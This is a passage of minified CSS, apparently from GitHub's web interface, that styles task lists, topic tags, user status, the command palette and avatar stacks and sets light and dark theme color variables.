li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover 